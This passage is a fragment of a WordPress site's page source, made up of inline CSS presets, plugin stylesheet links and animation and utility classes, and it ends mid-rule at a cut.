!important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:root :where(.wp-block-icon svg){width: 24px;}
:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
/*# sourceURL=global-styles-inline-css */
</style>
<link rel='stylesheet' id='ae-pro-css-css' href='https://joissresearch.org/wp-content/plugins/anywhere-elementor-pro/includes/assets/css/ae-pro.min.css?ver=2.27' media='all' />
<link data-minify="1" rel='stylesheet' id='woocommerce-layout-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=1789003975' media='all' />
<link data-minify="1" rel='stylesheet' id='woocommerce-smallscreen-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=1789003975' media='only screen and (max-width: 768px)' />
<link data-minify="1" rel='stylesheet' id='woocommerce-general-css' href='https://joissresearch.org/wp-content/cache/background-css/joissresearch.org/wp-content/cache/min/1/wp-content/plugins/woocommerce/assets/css/woocommerce.css?ver=1789003975&wpr_t=1789284940' media='all' />
<style id="woocommerce-inline-inline-css">
.woocommerce form .form-row .required { visibility: visible; }
/*# sourceURL=woocommerce-inline-inline-css */
</style>
<link rel='stylesheet' id='ivory-search-styles-css' href='https://joissresearch.org/wp-content/plugins/add-search-to-menu/public/css/ivory-search.min.css?ver=5.5.13' media='all' />
<link rel='stylesheet' id='vegas-css-css' href='https://joissresearch.org/wp-content/plugins/anywhere-elementor-pro/includes/assets/lib/vegas/vegas.min.css?ver=2.4.0' media='all' />
<link data-minify="1" rel='stylesheet' id='hello-elementor-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/themes/hello-elementor/assets/css/reset.css?ver=1789003975' media='all' />
<link data-minify="1" rel='stylesheet' id='hello-elementor-theme-style-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/themes/hello-elementor/assets/css/theme.css?ver=1789003975' media='all' />
<link data-minify="1" rel='stylesheet' id='hello-elementor-header-footer-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/themes/hello-elementor/assets/css/header-footer.css?ver=1789003975' media='all' />
<link rel='stylesheet' id='elementor-frontend-css' href='https://joissresearch.org/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.34.0' media='all' />
<style id="elementor-frontend-inline-css">
@-webkit-keyframes ha_fadeIn{0%{opacity:0}to{opacity:1}}@keyframes ha_fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes ha_zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes ha_zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@-webkit-keyframes ha_rollIn{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}to{opacity:1}}@keyframes ha_rollIn{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}to{opacity:1}}@-webkit-keyframes ha_bounce{0%,20%,53%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}40%,43%{-webkit-transform:translate3d(0,-30px,0) scaleY(1.1);transform:translate3d(0,-30px,0) scaleY(1.1);-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06)}70%{-webkit-transform:translate3d(0,-15px,0) scaleY(1.05);transform:translate3d(0,-15px,0) scaleY(1.05);-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06)}80%{-webkit-transition-timing-function:cubic-bezier(.215,.61,.355,1);transition-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translate3d(0,0,0) scaleY(.95);transform:translate3d(0,0,0) scaleY(.95)}90%{-webkit-transform:translate3d(0,-4px,0) scaleY(1.02);transform:translate3d(0,-4px,0) scaleY(1.02)}}@keyframes ha_bounce{0%,20%,53%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}40%,43%{-webkit-transform:translate3d(0,-30px,0) scaleY(1.1);transform:translate3d(0,-30px,0) scaleY(1.1);-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06)}70%{-webkit-transform:translate3d(0,-15px,0) scaleY(1.05);transform:translate3d(0,-15px,0) scaleY(1.05);-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06)}80%{-webkit-transition-timing-function:cubic-bezier(.215,.61,.355,1);transition-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translate3d(0,0,0) scaleY(.95);transform:translate3d(0,0,0) scaleY(.95)}90%{-webkit-transform:translate3d(0,-4px,0) scaleY(1.02);transform:translate3d(0,-4px,0) scaleY(1.02)}}@-webkit-keyframes ha_bounceIn{0%,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1}}@keyframes ha_bounceIn{0%,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1}}@-webkit-keyframes ha_flipInX{0%{opacity:0;-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{opacity:1;-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg)}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}}@keyframes ha_flipInX{0%{opacity:0;-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{opacity:1;-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg)}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}}@-webkit-keyframes ha_flipInY{0%{opacity:0;-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{opacity:1;-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg)}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}}@keyframes ha_flipInY{0%{opacity:0;-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{opacity:1;-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg)}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}}@-webkit-keyframes ha_swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}}@keyframes ha_swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}}@-webkit-keyframes ha_slideInDown{0%{visibility:visible;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes ha_slideInDown{0%{visibility:visible;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@-webkit-keyframes ha_slideInUp{0%{visibility:visible;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes ha_slideInUp{0%{visibility:visible;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes ha_slideInLeft{0%{visibility:visible;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes ha_slideInLeft{0%{visibility:visible;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@-webkit-keyframes ha_slideInRight{0%{visibility:visible;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes ha_slideInRight{0%{visibility:visible;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.ha_fadeIn{-webkit-animation-name:ha_fadeIn;animation-name:ha_fadeIn}.ha_zoomIn{-webkit-animation-name:ha_zoomIn;animation-name:ha_zoomIn}.ha_rollIn{-webkit-animation-name:ha_rollIn;animation-name:ha_rollIn}.ha_bounce{-webkit-transform-origin:center bottom;-ms-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-name:ha_bounce;animation-name:ha_bounce}.ha_bounceIn{-webkit-animation-name:ha_bounceIn;animation-name:ha_bounceIn;-webkit-animation-duration:.75s;-webkit-animation-duration:calc(var(--animate-duration)*.75);animation-duration:.75s;animation-duration:calc(var(--animate-duration)*.75)}.ha_flipInX,.ha_flipInY{-webkit-animation-name:ha_flipInX;animation-name:ha_flipInX;-webkit-backface-visibility:visible!important;backface-visibility:visible!important}.ha_flipInY{-webkit-animation-name:ha_flipInY;animation-name:ha_flipInY}.ha_swing{-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center;-webkit-animation-name:ha_swing;animation-name:ha_swing}.ha_slideInDown{-webkit-animation-name:ha_slideInDown;animation-name:ha_slideInDown}.ha_slideInUp{-webkit-animation-name:ha_slideInUp;animation-name:ha_slideInUp}.ha_slideInLeft{-webkit-animation-name:ha_slideInLeft;animation-name:ha_slideInLeft}.ha_slideInRight{-webkit-animation-name:ha_slideInRight;animation-name:ha_slideInRight}.ha-css-transform-yes{-webkit-transition-duration:var(--ha-tfx-transition-duration, .2s);transition-duration:var(--ha-tfx-transition-duration, .2s);-webkit-transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate(var(--ha-tfx-translate-x, 0),var(--ha-tfx-translate-y, 0)) scale(var(--ha-tfx-scale-x, 1),var(--ha-tfx-scale-y, 1)) skew(var(--ha-tfx-skew-x, 0),var(--ha-tfx-skew-y, 0)) rotateX(var(--ha-tfx-rotate-x, 0)) rotateY(var(--ha-tfx-rotate-y, 0)) rotateZ(var(--ha-tfx-rotate-z, 0));transform:translate(var(--ha-tfx-translate-x, 0),var(--ha-tfx-translate-y, 0)) scale(var(--ha-tfx-scale-x, 1),var(--ha-tfx-scale-y, 1)) skew(var(--ha-tfx-skew-x, 0),var(--ha-tfx-skew-y, 0)) rotateX(var(--ha-tfx-rotate-x, 0)) rotateY(var(--ha-tfx-rotate-y, 0)) rotateZ(var(--ha-tfx-rotate-z, 0))}.ha-css-transform-yes:hover{-webkit-transform:translate(var(--ha-tfx-translate-x-hover, var(--ha-tfx-translate-x, 0)),var(--ha-tfx-translate-y-hover, var(--ha-tfx-translate-y, 0))) scale(var(--ha-tfx-scale-x-hover, var(--ha-tfx-scale-x, 1)),var(--ha-tfx-scale-y-hover, var(--ha-tfx-scale-y, 1))) skew(var(--ha-tfx-skew-x-hover, var(--ha-tfx-skew-x, 0)),var(--ha-tfx-skew-y-hover, var(--ha-tfx-skew-y, 0))) rotateX(var(--ha-tfx-rotate-x-hover, var(--ha-tfx-rotate-x, 0))) rotateY(var(--ha-tfx-rotate-y-hover, var(--ha-tfx-rotate-y, 0))) rotateZ(var(--ha-tfx-rotate-z-hover, var(--ha-tfx-rotate-z, 0)));transform:translate(var(--ha-tfx-translate-x-hover, var(--ha-tfx-translate-x, 0)),var(--ha-tfx-translate-y-hover, var(--ha-tfx-translate-y, 0))) scale(var(--ha-tfx-scale-x-hover, var(--ha-tfx-scale-x, 1)),var(--ha-tfx-scale-y-hover, var(--ha-tfx-scale-y, 1))) skew(var(--ha-tfx-skew-x-hover, var(--ha-tfx-skew-x, 0)),var(--ha-tfx-skew-y-hover, var(--ha-tfx-skew-y, 0))) rotateX(var(--ha-tfx-rotate-x-hover, var(--ha-tfx-rotate-x, 0))) rotateY(var(--ha-tfx-rotate-y-hover, var(--ha-tfx-rotate-y, 0))) rotateZ(var(--ha-tfx-rotate-z-hover, var(--ha-tfx-rotate-z, 0)))}.happy-addon>.elementor-widget-container{word-wrap:break-word;overflow-wrap:break-word}.happy-addon>.elementor-widget-container,.happy-addon>.elementor-widget-container *{-webkit-box-sizing:border-box;box-sizing:border-box}.happy-addon:not(:has(.elementor-widget-container)),.happy-addon:not(:has(.elementor-widget-container)) *{-webkit-box-sizing:border-box;box-sizing:border-box;word-wrap:break-word;overflow-wrap:break-word}.happy-addon p:empty{display:none}.happy-addon .elementor-inline-editing{min-height:auto!important}.happy-addon-pro img{max-width:100%;height:auto;-o-object-fit:cover;object-fit:cover}.ha-screen-reader-text{position:absolute;overflow:hidden;clip:rect(1px,1px,1px,1px);margin:-1px;padding:0;width:1px;height:1px;border:0;word-wrap:normal!important;-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ha-has-bg-overlay>.elementor-widget-container{position:relative;z-index:1}.ha-has-bg-overlay>.elementor-widget-container:before{position:absolute;top:0;left:0;z-index:-1;width:100%;height:100%;content:""}.ha-has-bg-overlay:not(:has(.elementor-widget-container)){position:relative;z-index:1}.ha-has-bg-overlay:not(:has(.elementor-widget-container)):before{position:absolute;top:0;left:0;z-index:-1;width:100%;height:100%;content:""}.ha-popup--is-enabled .ha-js-popup,.ha-popup--is-enabled .ha-js-popup img{cursor:-webkit-zoom-in!important;cursor:zoom-in!important}.mfp-wrap .mfp-arrow,.mfp-wrap .mfp-close{background-color:transparent}.mfp-wrap .mfp-arrow:focus,.mfp-wrap .mfp-close:focus{outline-width:thin}.ha-advanced-tooltip-enable{position:relative;cursor:pointer;--ha-tooltip-arrow-color:black;--ha-tooltip-arrow-distance:0}.ha-advanced-tooltip-enable .ha-advanced-tooltip-content{position:absolute;z-index:999;display:none;padding:5px 0;width:120px;height:auto;border-radius:6px;background-color:#000;color:#fff;text-align:center;opacity:0}.ha-advanced-tooltip-enable .ha-advanced-tooltip-content::after{position:absolute;border-width:5px;border-style:solid;content:""}.ha-advanced-tooltip-enable .ha-advanced-tooltip-content.no-arrow::after{visibility:hidden}.ha-advanced-tooltip-enable .ha-advanced-tooltip-content.show{display:inline-block;opacity:1}.ha-advanced-tooltip-enable.ha-advanced-tooltip-top .ha-advanced-tooltip-content,body[data-elementor-device-mode=tablet] .ha-advanced-tooltip-enable.ha-advanced-tooltip-tablet-top .ha-advanced-tooltip-content{top:unset;right:0;bottom:calc(101% + var(--ha-tooltip-arrow-distance));left:0;margin:0 auto}.ha-advanced-tooltip-enable.ha-advanced-tooltip-top .ha-advanced-tooltip-content::after,body[data-elementor-device-mode=tablet] .ha-advanced-tooltip-enable.ha-advanced-tooltip-tablet-top .ha-advanced-tooltip-content::after{top:100%;right:unset;bottom:unset;left:50%;border-color:var(--ha-tooltip-arrow-color) transparent transparent transparent;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}.ha-advanced-tooltip-enable.ha-advanced-tooltip-bottom .ha-advanced-tooltip-content,body[data-elementor-device-mode=tablet] .ha-advanced-tooltip-enable.ha-advanced-tooltip-tablet-bottom .ha-advanced-tooltip-content{top:calc(101% + var(--ha-tooltip-arrow-distance));right:0;bottom:unset;left:0;margin:0 auto}.ha-advanced-tooltip-enable.ha-advanced-tooltip-bottom .ha-advanced-tooltip-content::after,body[data-elementor-device-mode=tablet] .ha-advanced-tooltip-enable.ha-advanced-tooltip-tablet-bottom .ha-advanced-tooltip-content::after{top:unset;right:unset;bottom:100%;left:50%;border-color:transparent transparent var(--ha-tooltip-arrow-color) transparent;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}.ha-advanced-tooltip-enable.ha-advanced-tooltip-left .ha-advanced-tooltip-content,body[data-elementor-device-mode=tablet] .ha-advanced-tooltip-enable.ha-advanced-tooltip-tablet-left .ha-advanced-tooltip-content{top:50%;right:calc(101% + var(--ha-tooltip-arrow-distance));bottom:unset;left:unset;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}.ha-advanced-tooltip-enable.ha-advanced-tooltip-left .ha-advanced-tooltip-content::after,body[data-elementor-device-mode=tablet] .ha-advanced-tooltip-enable.ha-advanced-tooltip-tablet-left .ha-advanced-tooltip-content::after{top:50%;right:unset;bottom:unset;left:100%;border-color:transparent transparent transparent var(--ha-tooltip-arrow-color);-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}.ha-advanced-tooltip-enable.ha-advanced-tooltip-right .ha-advanced-tooltip-content,body[data-elementor-device-mode=tablet] .ha-advanced-tooltip-enable.ha-advanced-tooltip-tablet-right .ha-advanced-tooltip-content{top:50%;right:unset;bottom:unset;left:calc(101% + var(--ha-tooltip-arrow-distance));-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}.ha-advanced-tooltip-enable.ha-advanced-tooltip-right .ha-advanced-tooltip-content::after,body[data-elementor-device-mode=tablet] .ha-advanced-tooltip-enable.ha-advanced-tooltip-tablet-right .ha-advanced-tooltip-content::after{top:50%;right:100%;bottom:unset;left:unset;border-color:transparent var(--ha-tooltip-arrow-color) transparent transparent;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}body[data-elementor-device-mode=mobile] .ha-advanced-tooltip-enable.ha-advanced-tooltip-mobile-top .ha-advanced-tooltip-content{top:unset;right:0;bottom:calc(101% + var(--ha-tooltip-arrow-distance));left:0;margin:0 auto}body[data-elementor-device-mode=mobile] .ha-advanced-tooltip-enable.ha-advanced-tooltip-mobile-top .ha-advanced-tooltip-content::after{top:100%;right:unset;bottom:unset;left:50%;border-color:var(--ha-tooltip-arrow-color) transparent transparent transparent;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}body[data-elementor-device-mode=mobile] .ha-advanced-tooltip-enable.ha-advanced-tooltip-mobile-bottom .ha-advanced-tooltip-content{top:calc(101% + var(--ha-tooltip-arrow-distance));right:0;bottom:unset;left:0;margin:0 auto}body[data-elementor-device-mode=mobile] .ha-advanced-tooltip-enable.ha-advanced-tooltip-mobile-bottom .ha-advanced-tooltip-content::after{top:unset;right:unset;bottom:100%;left:50%;border-color:transparent transparent var(--ha-tooltip-arrow-color) transparent;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}body[data-elementor-device-mode=mobile] .ha-advanced-tooltip-enable.ha-advanced-tooltip-mobile-left .ha-advanced-tooltip-content{top:50%;right:calc(101% + var(--ha-tooltip-arrow-distance));bottom:unset;left:unset;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}body[data-elementor-device-mode=mobile] .ha-advanced-tooltip-enable.ha-advanced-tooltip-mobile-left .ha-advanced-tooltip-content::after{top:50%;right:unset;bottom:unset;left:100%;border-color:transparent transparent transparent var(--ha-tooltip-arrow-color);-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}body[data-elementor-device-mode=mobile] .ha-advanced-tooltip-enable.ha-advanced-tooltip-mobile-right .ha-advanced-tooltip-content{top:50%;right:unset;bottom:unset;left:calc(101% + var(--ha-tooltip-arrow-distance));-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}body[data-elementor-device-mode=mobile] .ha-advanced-tooltip-enable.ha-advanced-tooltip-mobile-right .ha-advanced-tooltip-content::after{top:50%;right:100%;bottom:unset;left:unset;border-color:transparent var(--ha-tooltip-arrow-color) transparent transparent;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}body.elementor-editor-active .happy-addon.ha-gravityforms .gform_wrapper{display:block!important}.ha-scroll-to-top-wrap.ha-scroll-to-top-hide{display:none}.ha-scroll-to-top-wrap.edit-mode,.ha-scroll-to-top-wrap.single-page-off{display:none!important}.ha-scroll-to-top-button{position:fixed;right:15px;bottom:15px;z-index:9999;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;-ms-flex-align:center;-webkit-box-pack:center;-ms-flex-pack:center;-webkit-justify-content:center;justify-content:center;width:50px;height:50px;border-radius:50px;background-color:#5636d1;color:#fff;text-align:center;opacity:1;cursor:pointer;-webkit-transition:all .3s;transition:all .3s}.ha-scroll-to-top-button i{color:#fff;font-size:16px}.ha-scroll-to-top-button:hover{background-color:#e2498a}.ha-particle-wrapper{position:absolute;top:0;left:0;width:100%;height:100%}.ha-floating-element{position:fixed;z-index:999}.ha-floating-element-align-top-left .ha-floating-element{top:0;left:0}.ha-floating-element-align-top-right .ha-floating-element{top:0;right:0}.ha-floating-element-align-top-center .ha-floating-element{top:0;left:50%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}.ha-floating-element-align-middle-left .ha-floating-element{top:50%;left:0;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}.ha-floating-element-align-middle-right .ha-floating-element{top:50%;right:0;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}.ha-floating-element-align-bottom-left .ha-floating-element{bottom:0;left:0}.ha-floating-element-align-bottom-right .ha-floating-element{right:0;bottom:0}.ha-floating-element-align-bottom-center .ha-floating-element{bottom:0;left:50%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}.ha-editor-placeholder{padding:20px;border:5px double #f1f1f1;background:#f8f8f8;text-align:center;opacity:.5}.ha-editor-placeholder-title{margin-top:0;margin-bottom:8px;font-weight:700;font-size:16px}.ha-editor-placeholder-content{margin:0;font-size:12px}.ha-p-relative{position:relative}.ha-p-absolute{position:absolute}.ha-p-fixed{position:fixed}.ha-w-1{width:1%}.ha-h-1{height:1%}.ha-w-2{width:2%}.ha-h-2{height:2%}.ha-w-3{width:3%}.ha-h-3{height:3%}.ha-w-4{width:4%}.ha-h-4{height:4%}.ha-w-5{width:5%}.ha-h-5{height:5%}.ha-w-6{width:6%}.ha-h-6{height:6%}.ha-w-7{width:7%}.ha-h-7{height:7%}.ha-w-8{width:8%}.ha-h-8{height:8%}.ha-w-9{width:9%}.ha-h-9{height:9%}.ha-w-10{width:10%}.ha-h-10{height:10%}.ha-w-11{width:11%}.ha-h-11{height:11%}.ha-w-12{width:12%}.ha-h-12{height:12%}.ha-w-13{width:13%}.ha-h-13{height:13%}.ha-w-14{width:14%}.ha-h-14{height:14%}.ha-w-15{width:15%}.ha-h-15{height:15%}.ha-w-16{width:16%}.ha-h-16{height:16%}.ha-w-17{width:17%}.ha-h-17{height:17%}.ha-w-18{width:18%}.ha-h-18{height:18%}.ha-w-19{width:19%}.ha-h-19{height:19%}.ha-w-20{width:20%}.ha-h-20{height:20%}.ha-w-21{width:21%}.ha-h-21{height:21%}.ha-w-22{width:22%}.ha-h-22{height:22%}.ha-w-23{width:23%}.ha-h-23{height:23%}.ha-w-24{width:24%}.ha-h-24{height:24%}.ha-w-25{width:25%}.ha-h-25{height:25%}.ha-w-26{width:26%}.ha-h-26{height:26%}.ha-w-27{width:27%}.ha-h-27{height:27%}.ha-w-28{width:28%}.ha-h-28{height:28%}.ha-w-29{width:29%}.ha-h-29{height:29%}.ha-w-30{width:30%}.ha-h-30{height:30%}.ha-w-31{width:31%}.ha-h-31{height:31%}.ha-w-32{width:32%}.ha-h-32{height:32%}.ha-w-33{width:33%}.ha-h-33{height:33%}.ha-w-34{width:34%}.ha-h-34{height:34%}.ha-w-35{width:35%}.ha-h-35{height:35%}.ha-w-36{width:36%}.ha-h-36{height:36%}.ha-w-37{width:37%}.ha-h-37{height:37%}.ha-w-38{width:38%}.ha-h-38{height:38%}.ha-w-39{width:39%}.ha-h-39{height:39%}.ha-w-40{width:40%}.ha-h-40{height:40%}.ha-w-41{width:41%}.ha-h-41{height:41%}.ha-w-42{width:42%}.ha-h-42{height:42%}.ha-w-43{width:43%}.ha-h-43{height:43%}.ha-w-44{width:44%}.ha-h-44{height:44%}.ha-w-45{width:45%}.ha-h-45{height:45%}.ha-w-46{width:46%}.ha-h-46{height:46%}.ha-w-47{width:47%}.ha-h-47{height:47%}.ha-w-48{width:48%}.ha-h-48{height:48%}.ha-w-49{width:49%}.ha-h-49{height:49%}.ha-w-50{width:50%}.ha-h-50{height:50%}.ha-w-51{width:51%}.ha-h-51{height:51%}.ha-w-52{width:52%}.ha-h-52{height:52%}.ha-w-53{width:53%}.ha-h-53{height:53%}.ha-w-54{width:54%}.ha-h-54{height:54%}.ha-w-55{width:55%}.ha-h-55{height:55%}.ha-w